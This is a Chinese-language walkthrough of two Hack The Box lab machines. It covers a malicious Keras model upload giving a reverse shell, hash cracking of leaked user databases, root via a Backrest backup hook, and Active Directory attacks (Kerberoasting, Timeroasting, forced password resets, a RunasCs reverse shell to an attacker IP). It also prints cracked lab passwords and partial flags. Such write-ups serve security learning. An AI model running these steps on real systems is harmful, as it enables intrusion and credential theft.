|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 9.660 days (since Thu Jun 12 13:33:03 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   207.43 ms 10.10.14.1
2   210.30 ms 10.10.11.74

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 22 05:23:26 2025 -- 1 IP address (1 host up) scanned in 112.73 seconds

2. Website

ports 80 是開的,我們可以試著造訪看看。

先把 artificial.htb 加進 /etc/hosts

image

造訪 http://artificial.htb

註冊並登入:

image

登入後,我們發現這個網頁可以上傳 AI model 。

底下是網頁提供下載的 requirements.txt & Dockerfile

Screenshot 2025-11-27 at 22.00.05

網站允許上傳 .h5 格式的模型文件。TensorFlow 的 Keras framework 中存在一個已知的安全風險:當使用 load_model 加載含有惡意 Lambda layer 的模型時,可以執行任意代碼。

(想更深入了解,可以參考
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model)

為了確保我們的惡意模型能被伺服器成功解析,我們使用官方提供的 Dockerfile 建立一個與目標一致的 Docker 環境:

$ docker build -t model .
$ docker run -it --rm -v "$(pwd)":/code model

image

我們利用 GitHub 上的此 exploit :
https://github.com/Splinter0/tensorflow-rce

把 IP 以及 port 改成自己的:

  • exploit.py
    Screenshot 2025-11-30 at 20.38.03

生成 exploit.h5

  • $ python3 exploit.py
    Screenshot 2025-11-30 at 20.34.05

先架好 listener :
$ nc -nvlp 443

上傳 exploit.h5 並點擊 View Predictions

Screenshot 2025-11-30 at 20.41.21

成功拿到 reverse shell :

Screenshot 2025-11-30 at 20.42.56

3. Sensetive File

首先,我們使用 LinPEAS 進行系統內部的自動化列舉。在掃描結果中,我們發現了一個可疑的 SQLite 資料庫檔案: users.db 。這類檔案通常包含應用程式的使用者資料,極有可能存放著敏感資訊。

image

我們使用 sqlite3 存取該檔案。透過 .dump 指令,我們匯出了資料庫中的所有 SQL 語句與資料:

  • $ sqlite3 users.db
    > .dump
    image

可以看到,我們獲得了這些使用者的 MD5 hash。

我們試著利用 hashcat 破解這些 hash ,成功破解了以下這2位使用者的 hash :

  • $ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    image
    • gael | mattp005numbertwo
    • royer | marwinnarak043414036

我們以 gael 的身份 SSH 登入,成功拿到 user flag 。

  • $ sshpass -p 'mattp005numbertwo' ssh gael@10.10.11.74
    image
  • User Flag
    • /home/gael/user.txt
      upload_cafa1cc0f36b03f8b2b6a46d5

4. Internal Website

在取得 gael 的 shell 後,我們檢查系統的網路連線狀態。發現本地介面 (127.0.0.1) 正在監聽 port 9898 。
使用 curl 驗證後,確認這是一個僅限內部存取的 HTTP 網頁服務。

  • $ netstat -tulnp
    $ curl http://127.0.0.1:9898 -i
    image

為了從攻擊機瀏覽器存取這個內部網頁,我們建立一個 SSH tunnel (local port forwarding) :

  • $ ssh -N -L 9898:127.0.0.1:9898 gael@10.10.11.74
    image

這條指令將目標機器的 127.0.0.1:9898 轉發至我們攻擊機的 port 9898。
造訪 http://127.0.0.1:9898 ,我們看到了一個名為 Backrest 的備份管理介面:

image

在系統列舉過程中,我們在 /var/backups/ 目錄下發現了一個名為 backrest_backup.tar.gz 的備份檔案。這通常是提權的黃金路徑。

  • Sensitive Files
    image

解壓縮後:

image

查看 .config/backrest/config.json 設定檔,發現了一串經過 base64 編碼的敏感字串:

  • .config/backrest/config.json
    image

base64 decode後,得到一組以 $2a$10$ 開頭的 hash ,這表明它是 bcrypt 雜湊:

  • $ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
    image

使用 John the Ripper 進行破解:

  • $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=Wordlist
    image

成功破解:backrest_root | !@#$%^

使用破解得到的密碼登入 Backrest 網頁介面:

image
這類備份軟體通常允許定義備份計畫(Plans),並具備執行腳本的功能。

我們點選 + Add Plan 新增一個備份計畫,重點在於 Hooks 設定。Hooks 允許在備份任務開始前或結束後執行自定義的 Shell 指令。
在 Hooks 的執行欄位中,我們填入 /tmp/shell 的指令 (預先上傳的 reverse shell )。由於 Backrest 服務是以 root 權限運行的,這裡執行的任何指令都將繼承 root 權限

  • add Hooks
    image

接下來就架好 nc -nvlp 443 listener ,等待排程執行:

image

當 hook 被觸發時,成功接收到來自目標主機的連線,且權限為 root :

  • $ nc -nvlp 443
    image

成功拿到 root flag :

  • /root/root.txt
    upload_076e7fca8cb5153f1c980c851

Week 7 - RustyKey (root unsolved)

🕒 2025/07/02

[ROOT UNSOLVED]

RustyKey

  • IP: 10.10.11.75
  • OS: Windows
  • Difficulty: Hard
  • Cred: rr.parker | 8#t5HE8L!W3A

1. Enumeration

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.75
# Nmap 7.95 scan initiated Tue Jul  1 22:19:31 2025 as: /usr/lib/nmap/nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.75
Nmap scan report for 10.10.11.75
Host is up (0.21s latency).
Not shown: 65509 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-01 22:22:38Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49738/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=7/1%OT=53%CT=1%CU=42708%PV=Y%DS=2%DC=T%G=Y%TM=6863EF7C
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=104%TI=I%CI=I%II=I%SS=O%TS=U
OS:)SEQ(SP=103%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=106%GCD=1%ISR=
OS:10B%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=108%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=
OS:S%TS=U)SEQ(SP=FF%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M552NW8NN
OS:S%O2=M552NW8NNS%O3=M552NW8%O4=M552NW8NNS%O5=M552NW8NNS%O6=M552NNS)WIN(W1
OS:=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O
OS:=M552NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T
OS:=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=
OS:0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%R
OS:IPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-01T22:23:42
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m58s

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   207.62 ms 10.10.14.1
2   207.84 ms 10.10.11.75

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  1 22:23:56 2025 -- 1 IP address (1 host up) scanned in 265.39 seconds

從掃描結果中,我們可以觀察到幾個關鍵資訊,確認這是一台 Domain Controller :

  • Port 53 (DNS): 開放了 Simple DNS Plus,這是 DC 的標準配備
  • Port 88 (Kerberos): 這是 Windows 網域認證的核心服務
  • Port 389 / 636 / 3268 (LDAP/LDAPS): LDAP 服務回傳了網域資訊 Domain: rustykey.htb0 ,這透露了目標網域名稱可能為 rustykey.htb
  • Port 445 (SMB): 顯示 Message signing enabled and required ,這是 DC 的預設安全設定

接下來,也掃一下一些 UDP ports :

  • $ sudo nmap -sU -sV -v -T4 -A --top-ports=20 -oN nmapU.txt 10.10.11.75
# Nmap 7.95 scan initiated Tue Dec  2 13:04:45 2025 as: /usr/lib/nmap/nmap -sU -sV -v -T4 -A --top-ports=20 -oN nmapU.txt 10.10.11.75
Nmap scan report for rustykey.htb (10.10.11.75)
Host is up (0.22s latency).

PORT      STATE         SERVICE      VERSION
53/udp    open          domain       (generic dns response: NOTIMP)
| fingerprint-strings: 
|   DNS-SD: 
|     _services
|     _dns-sd
|     _udp
|     local
|   NBTStat: 
|_    CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
67/udp    closed        dhcps
68/udp    closed        dhcpc
69/udp    open|filtered tftp
123/udp   open          ntp          NTP v3
| ntp-info: 
|_  receive time stamp: 2025-12-02T21:06:53
135/udp   closed        msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=12/2%Time=692EE407%P=aarch64-unknown-linux-gnu%
SF:r(DNS-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_u
SF:dp\x05local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\
SF:0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

Host script results:
|_clock-skew: 8h00m01s

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   231.44 ms 10.10.14.1
2   231.60 ms rustykey.htb (10.10.11.75)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec  2 13:08:39 2025 -- 1 IP address (1 host up) scanned in 234.61 seconds
  • Port 123 (NTP) 是開啟的。

接下來,為了確認 DC 的具體 hostname ,我們使用 dig 向目標 DNS server 查詢:

  • $ dig ANY rustykey.htb @10.10.11.75
    image

可以看到 dig 的輸出結果中,回傳了 rustykey.htbdc.rustykey.htb 的 A 紀錄指向10.10.11.75

所以我們把 10.10.11.75 rustykey.htb dc.rustykey.htb 加進去 /etc/hosts

  • /etc/hosts
...
10.10.11.75    rustykey.htb dc.rustykey.htb

官方有給一組帳號密碼,我們嘗試列舉 SMB shares :

  • $ nxc smb 10.10.11.75 -d rustykey.htb -u rr.parker -p '8#t5HE8L!W3A' --shares
    image

伺服器回傳了 STATUS_NOT_SUPPORTED ,這通常意味著目標機器(DC)禁用了 NTLM 認證,或者強制要求更安全的認證機制。因此,我們必須改用 Kerberos 協定來進行存取。

以下介紹兩種以 Kerberos 來存取 SMB shares 的方法:

  1. 直接使用 Kerberos 認證

    為了使其支援 Kerberos ,我們首先配置 krb5.conf

    • krb5.conf
      ​​​​​​​​[libdefaults]
      ​​​​​​​​  dns_lookup_kdc = false
      ​​​​​​​​  dns_lookup_realm = false
      ​​​​​​​​  default_realm = RUSTYKEY.HTB
      
      ​​​​​​​​[realms]
      ​​​​​​​​  RUSTYKEY.HTB = {
      ​​​​​​​​    kdc = dc.rustykey.htb
      ​​​​​​​​    admin_server = dc.rustykey.htb
      ​​​​​​​​    default_domain = rustykey.htb
      ​​​​​​​​  }
      
      ​​​​​​​​[domain_realm]
      ​​​​​​​​  .rustykey.htb = RUSTYKEY.HTB
      ​​​​​​​​  rustykey.htb = RUSTYKEY.HTB
      

    指定 KRB5_CONFIG 環境變數以及在指令中加入 -k

    • $ KRB5_CONFIG=/home/kali/HTB/rustykey/kerberos/krb5.conf nxc smb dc.rustykey.htb -d rustykey.htb -u rr.parker -p '8#t5HE8L!W3A' -k --shares
      image

      (Note: 使用 Kerberos 時,目標必須使用 FQDN(dc.rustykey.htb) 而非 IP,否則會發生 KDC_ERR_S_PRINCIPAL_UNKNOWN error 。)
  2. 先獲取 TGT 再使用 Pass the Ticket

    另一種方式是先手動向 KDC 請求 TGT ,將票據存為 .ccache 檔,再讓 nxc 使用該 ticket 。這種方式可以確認 KDC 的連線狀態,且不需要在後續指令中重複輸入密碼。

    獲取 TGT :

    • $ impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.10.11.75
      image

    指定 KRB5CCNAME 環境變數以及在指令中加入 --use-kcache (Pass the Ticket) :

    • $ KRB5CCNAME=/home/kali/HTB/rustykey/kerberos/rr.parker.ccache nxc smb dc.rustykey.htb -d rustykey.htb --use-kcache --shares
      image

不過我們在 SMB shares 當中沒發現什麼。

接下來,我們用 BloodHound 遠端掃掃看:

  • $ bloodhound-python -u rr.parker -p '8#t5HE8L!W3A' -d rustykey.htb -ns 10.10.11.75 -c All --zip
    image

我們特別發現到, IT-Computer3$ 的創建時間( Created )與最後密碼設定時間( Password Last Set )兩者不一致,且時間差並非機器帳戶自動輪替密碼週期(通常為 30 天)的倍數。這是一個強烈的指標,暗示此帳號並非透過標準的 Domain Join 程序加入,而是由管理員手動建立的。

基於此推論,該帳戶的密碼極有可能是人為設定的弱密碼,而非系統自動生成的120字元高強度亂碼。這意味著雖然它是電腦帳戶,但具備了被破解的高價值。

Screenshot 2025-12-02 at 19.57.01

2. Kerberoasting (Computer Account)

雖然標準的電腦帳戶只要有 SPN 都可以被 Kerberoasting ,但通常因為密碼無法破解而被忽略。然而,針對上述推論出的人工電腦帳戶,我們可以以 IT-Computer3$ 向 DC 請求 TGS ticket (Kerberoasting) 。

  • $ impacket-GetUserSPNs -dc-ip 10.10.11.75 -usersfile com.txt -outputfile hashes_kerberoast.txt rustykey.htb/rr.parker:'8#t5HE8L!W3A'
    Screenshot 2025-12-02 at 20.22.32

我們成功提取了 hash ,證明該目標確實設定了 SPN 且回應了 TGS 請求。

接下來,我們使用 hashcat 進行離線破解:

  • $ hashcat -m 13100 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    image

破解成功:IT-Computer3$ | Rusty88!

2-2. Timeroasting

另外,從 nmap 的 UDP 掃描結果可以得知 port 123 (NTP) 是開啟的,這滿足了 Timeroasting 攻擊的網路連通條件。

我們也可以利用 Timeroasting 提取 IT-Computer3$ 的 password hash 。

Timeroasting 是一種針對 AD 的攻擊技術,它的目標非常明確:竊取 Computer Accounts 或 Trust Accounts 的 password hash。

Timeroasting 利用的是 Windows 的 NTP (Network Time Protocol) 認證機制。

  1. NTP 認證機制: 在 Windows AD 環境中,機器之間同步時間時,支援一種「認證模式」以確保時間來源是可信的。這個認證過程會使用機器帳戶的密碼(具體來說是 NT hash)來對 NTP 封包進行簽章 (MD5)。
  2. 利用 RID (Relative ID): 攻擊者可以向 DC 發送一個 NTP 請求,並在請求中指定某個機器帳戶的 RID (Relative ID) 作為 Key ID。
  3. 強迫簽章: 如果該機器帳戶存在,DC 就會用該帳戶的 hash 對回傳的時間封包進行簽章。
  4. 離線破解: 攻擊者收到這個帶有簽章的封包後,就可以在本地進行離線暴力破解。一旦破解成功,就拿到了該機器帳戶的明文密碼 (或是 NT Hash)。

詳細介紹可參考:
https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/timeroasting

我們利用 GitHub 上現成的工具來做 Timeroasting :
https://github.com/SecuraBV/Timeroast/blob/main/timeroast.py

  • $ python3 timeroast.py 10.10.11.75
    Screenshot 2025-12-02 at 21.43.42

可以看到,我們成功拿到了 hash 。

接下來用 hashcat 做離線破解:
(備註:需要用 beta 版 hashcathttp://hashcat.net/beta/)

  • $ ./hashcat.bin -m 31300 ../hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    image

同樣破解成功:IT-Computer3$ | Rusty88!

3. IT-Copmuter3$ -> bb.morgan

BloodHound 可以發現到,我們可以把 IT-Computer3$ 加進去 group HelpDesk (AddSelf) ,從而更改 ee.reedbb.morgangg.anderson 的密碼 (ForceChangePassword) ,進而藉由 WinRM 連上這台機器(因為他們皆是group Remote Management Users 的一員)。

image

  1. 首先,將 IT-Computer3$ 加入 group HelpDesk
  • $ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-Computer3$'
    image
  1. 成為 group HelpDesk 的一員後,我們強制重置 user ee.reedbb.morgangg.anderson 的密碼為 P@ssw0rd
  • $ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k set password ee.reed 'P@ssw0rd'
    $ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k set password bb.morgan 'P@ssw0rd'
    $ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k set password gg.anderson 'P@ssw0rd'
    image

3-1. 我們嘗試獲取這些使用者的 TGT 時,我們遇到以下錯誤 (KDC_ERR_ETYPE_NOSUPP) :

  • $ impacket-getTGT rustykey.htb/ee.reed:'P@ssw0rd' -dc-ip 10.10.11.75
    $ impacket-getTGT rustykey.htb/bb.morgan:'P@ssw0rd' -dc-ip 10.10.11.75
    $ impacket-getTGT rustykey.htb/gg.anderson:'P@ssw0rd' -dc-ip 10.10.11.75
    image

3-2. 回到 BloodHound 檢查,發現這些使用者隸屬於 group SUPPORTIT ,而這些群組被加入了 group PROTECTED OBJECTS 。可能正是因為如此,所以我們的 Kerberos 相關存取被受限制。

image

可以看到, group HelpDesk 對 group PROTECTED OBJECTS 具有 AddMember 的權限:

image

3-3. 故我們可以利用 IT-Computer3$ 的權限,將 group SUPPORT 和 group IT 從 group PROTECTED OBJECTS 中移除,從而解除保護:

  • $ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
    $ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'
    image

3-4. 解除保護後,我們再次嘗試使用新設定的密碼請求 TGT ,這次成功獲取了 ee.reedbb.morgan 的 ticket (.ccache) :
(gg.anderson 則失敗)

  • $ impacket-getTGT rustykey.htb/ee.reed:'P@ssw0rd' -dc-ip 10.10.11.75
    $ impacket-getTGT rustykey.htb/bb.morgan:'P@ssw0rd' -dc-ip 10.10.11.75
    $ impacket-getTGT rustykey.htb/gg.anderson:'P@ssw0rd' -dc-ip 10.10.11.75
    image
  1. 接下來,我們利用 evil-winrm 嘗試登入 (設定環境變數以使其正確指向指定的 krb5.conf 以及 .ccache) :

ee.reed 登入失敗 (GSSAPI error) :

  • ​​$ KRB5_CONFIG=/home/kali/HTB/rustykey/kerberos/krb5.conf \
    ​​KRB5CCNAME=/home/kali/HTB/rustykey/kerberos/ee.reed.ccache \
    ​​evil-winrm -r rustykey.htb -i dc.rustykey.htb
    
    image

bb.morgan 登入成功:

  • ​​$ KRB5_CONFIG=/home/kali/HTB/rustykey/kerberos/krb5.conf \
    ​​KRB5CCNAME=/home/kali/HTB/rustykey/kerberos/bb.morgan.ccache \
    ​​evil-winrm -r rustykey.htb -i dc.rustykey.htb
    
    image

成功以 bb.morgan 登入拿到 user flag :

  • C:\Users\bb.morgan\Desktop\user.txt
    upload_8b8f83b38fb40ae149c7bd1a8

4. bb.morgan -> ee.reed

由於之前透過 WinRM 登入 ee.reed 失敗以及獲取 gg.anderson 的 TGT 失敗,我們改在 bb.morgan 的 session 中利用 RunasCs.exe 來嘗試進行本機使用者切換:
(RunasCs.exe: https://github.com/antonioCoco/RunasCs/releases/tag/v1.5)

首先,我們以指令 whoami 確認一下指令是否會執行:

  • > .\RunasCs.exe ee.reed "P@ssw0rd" "cmd /c whoami"
    > .\RunasCs.exe gg.anderson "P@ssw0rd" "cmd /c whoami"
    image

ee.reed 的身份執行成功;以 gg.anderson 的身份執行失敗。

確認可以以 ee.reed 的身份執行後,我們利用 RunasCs 執行 reverse shell 回連到攻擊機,以獲得一個穩定的 ee.reed shell :

  • > .\RunasCs.exe ee.reed "P@ssw0rd" cmd.exe -r 10.10.14.10:443
    image
  • $ nc -nvlp 443
    image

成功取得 ee.reed 的 shell。